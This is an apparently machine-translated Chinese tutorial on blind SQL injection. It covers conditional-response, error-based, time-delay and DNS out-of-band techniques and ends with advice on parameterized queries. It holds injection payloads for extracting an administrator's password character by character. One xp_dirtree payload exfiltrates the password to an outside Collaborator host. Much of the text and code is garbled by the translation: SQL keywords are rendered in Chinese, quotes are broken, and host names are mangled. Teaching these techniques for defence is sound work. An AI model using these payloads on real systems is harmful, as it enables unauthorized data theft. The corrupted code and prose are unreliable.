盲目注射
在本节中,我们将描述什么是盲型SQL注射,请解释各种发现和利用盲目SQL注入脆弱性的技术。
什么是盲SQL注射?
当应用程序容易受到SQL注入的影响时,会出现盲SQL注入,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息。
有了盲目的SQL注射漏洞,许多技术,例如联盟
攻击,之所以无效,是因为他们依靠能够在应用程序的响应中看到注射查询的结果。仍然可以利用盲目的SQL注入来访问未经授权的数据,但必须使用不同的技术。
通过触发条件响应来利用盲目的SQL注入
考虑一个使用跟踪cookie来收集有关使用分析的应用程序。该应用程序的请求包括这样的cookie标头:
cookie:trackingid = u5yd3papbcr4ln3e7tj4
当包含一个请求跟踪号码
处理了cookie,应用程序确定这是否是使用SQL查询的已知用户:
从trackEdusers选择TrackingId,其中TrackingId ='u5yd3papbcr4ln3e7tj4'
此查询很容易受到SQL注入的影响,但是查询的结果未返回给用户。但是,该应用程序的行为确实不同,具体取决于查询是否返回任何数据。如果返回数据(因为已识别跟踪号码
已提交),然后在页面中显示“欢迎返回”消息。
这种行为足以利用盲目的SQL注入脆弱性并通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。要查看其工作原理,假设发送了两个请求,其中包含以下内容跟踪号码
cookie值依次:
…xyz'和'1'='1…xyz'和'1'='2
这些值中的第一个将导致查询返回结果,因为注射已注射和'1'='1
条件是正确的,因此将显示“欢迎回来”消息。第二个值将导致查询不返回任何结果,因为注入的条件是错误的,因此不会显示“欢迎返回”消息。这使我们能够确定任何单个注射条件的答案,因此一次提取数据。
例如,假设有一个名为用户
与列用户名
和密码
,一个用户叫行政人员
。我们可以通过发送一系列输入来一次测试一个字符的密码来系统地确定此用户的密码。
为此,我们从以下输入开始:
xyz'和substring(((从用户中选择用户名='管理员'),1,1)>'m
这返回“欢迎回来”消息,表明注射条件是正确的,因此密码的第一个字符大于m
。
接下来,我们发送以下输入:
xyz'和substring(((从用户中选择用户名='管理员'),1,1)>'t
这不会返回“欢迎回来”消息,表明注射条件是错误的,因此密码的第一个字符不大于t
。
最终,我们发送以下输入,该输入返回“欢迎返回”消息,从而确认密码的第一个字符是s
:
xyz'和substring(((从用户中选择用户名='管理员'),1,1)='s
我们可以继续此过程,以系统地确定行政人员
用户。
笔记
这基因
函数被调用基德
在某些类型的数据库上。有关更多详细信息,请参阅SQL注入备忘单。
通过触发SQL错误诱导条件响应
在前面的示例中,假设应用程序执行相同的SQL查询,但根据查询是否返回任何数据,其行为并没有不同。前面的技术将行不通,因为注射不同的布尔条件对应用程序的响应没有影响。
在这种情况下,通常可以通过有条件地触发SQL错误来诱导应用程序返回条件响应,具体取决于注入的条件。这涉及修改查询,以便如果条件为真,它将导致数据库错误,但如果条件为false,则不会导致数据库错误。通常,数据库丢弃的未指导错误会导致应用程序的响应(例如错误消息)的某些差异,从而使我们能够推断注射条件的真相。
要查看其工作原理,假设发送了两个请求,其中包含以下内容跟踪号码
cookie值依次:
xyz'and(选择情况时(1 = 2),然后1/0 else'a''''en'end)='a xyz'and(select case(1 = 1),然后1/0 else'a'a'en'end)='a a a a a
这些输入使用案子
关键字测试条件并根据表达式是否为true返回其他表达式。使用第一个输入,案子
表达式评估'一个'
,不会导致任何错误。使用第二个输入,它评估为1/0
,这会导致划分为零误差。假设错误会导致应用程序的HTTP响应有所不同,我们可以使用此差异来推断注射条件是否为真。
使用此技术,我们可以通过系统地测试一个字符来以已经描述的方式检索数据:
xyz'and(选择情况时(username ='管理员'and substring(密码,1,1)>'m')然后1/0 else'a'''''''en''''''
笔记
有多种触发条件错误的方法,不同的技术在不同的数据库类型上最有效。有关更多详细信息,请参阅SQL注入备忘单。
通过触发时间延迟来利用盲目的SQL注入
在前面的示例中,假设应用程序现在捕获数据库错误并优雅地处理它们。当执行注射的SQL查询时,触发数据库错误不再引起应用程序响应的任何差异,因此诱导条件错误的先前技术将无效。
在这种情况下,通常可以通过触发时间延迟盲目的SQL注入脆弱性,具体取决于注入的条件。由于通常通过应用程序同步处理SQL查询,因此延迟执行SQL查询也会延迟HTTP响应。这使我们能够根据收到HTTP响应之前所花费的时间来推断注射状态的真实情况。
触发时间延迟的技术高度特定于所使用的数据库类型。在Microsoft SQL Server上,可以使用以下输入来测试条件并触发延迟,具体取决于表达式是否为True:
';if(1 = 2)延迟'0:0:10' - ';if(1 = 1)等待延迟'0:0:10' -
这些输入中的第一个不会触发延迟,因为条件1 = 2
是错误的。第二个输入将触发10秒的延迟,因为条件1 = 1
是真的。
使用此技术,我们可以通过系统地测试一个字符来以已经描述的方式检索数据:
';if(从用户中选择count(用户名),username ='avisionator'和substring(密码,1,1)>'m')= 1 waitfor delay'0:0:{delays}' -
笔记
SQL查询中有多种触发时间延迟的方法,并且不同类型的数据库中的不同技术适用。有关更多详细信息,请参阅SQL注入备忘单。
使用带外的盲sql注射(Oast)技术
现在,假设该应用程序可以执行相同的SQL查询,但不同步。该应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。该查询仍然容易受到SQL注入的影响,但是到目前为止所描述的任何技术都不可行:应用程序的响应不取决于查询是否返回任何数据,还是发生数据库错误或执行时间所花费的时间查询。
在这种情况下,通常可以通过向您控制的系统触发带外网络的交互来利用盲目的SQL注入漏洞。如前所述,可以根据注入的条件有条件触发这些信息,以一次推断信息。但更有力的是,数据可以直接在网络交互本身中淘汰。
可以将各种网络协议用于此目的,但通常最有效的是DNS(域名服务)。这是因为许多生产网络允许自由出口DNS查询,因为它们对于生产系统的正常运行至关重要。
使用带外技术的最简单,最可靠的方法是使用Burp合作者。这是提供各种网络服务(包括DNS)的自定义实现的服务器,并允许您检测由于将单个有效负载发送到脆弱的应用程序而导致网络交互发生。支持Burp合作者的支持是内置的Burp Suite专业人士无需配置。
触发DNS查询的技术高度特定于所使用的数据库类型。在Microsoft SQL Server上,可以使用以下输入来引起指定域的DNS查找:
';exec master..xp_dirtree'//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-----
这将导致数据库对以下域进行查找:
0efdymgw1O5W9INAE8MG4DFRGIM9AY.BURPCOLLABORATOR.NET
您可以使用Burp Suite的合作者客户端为了生成一个唯一的子域并进行轮询协作服务器以确认何时发生任何DNS查找。
在确认了触发带外交互的方法之后,您可以使用带外通道从脆弱的应用程序中删除数据。例如:
';seclare @p varchar(1024); set @p =(从用户中选择username ='trivisionalator'); exec('master..xp_dirtree” //'+ @+@p+'.cwcsgt05ikji0n1f2ql2qlzn5118sek29.bulpcollaborator.net/net/aet net/a net/a net/a net/a) -
此输入读取密码行政人员
用户,附加独特的协作子域,并触发DNS查找。这将导致DNS查找如下,从而使您可以查看捕获的密码:
s3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
由于很有可能成功的可能性和在频道外通道内直接渗透数据的能力,因此波带(OAST)技术是一种非常有力的检测和利用盲目SQL注入的方法。因此,即使在其他盲目剥削技术确实有效的情况下,OAST技术通常也是可取的。
笔记
有多种触发带外交互的方法,不同的技术适用于不同类型的数据库。有关更多详细信息,请参阅SQL注入备忘单。
如何防止盲目的SQL注射攻击?
尽管找到和利用盲型SQL注入漏洞所需的技术不同,并且与常规SQL注入更为复杂,但预防SQL注入所需的措施是相同的,无论脆弱性是否盲目。
与常规SQL注入一样,可以通过仔细使用参数化查询来防止盲SQL注入攻击,从而确保用户输入不能干扰预期的SQL查询的结构。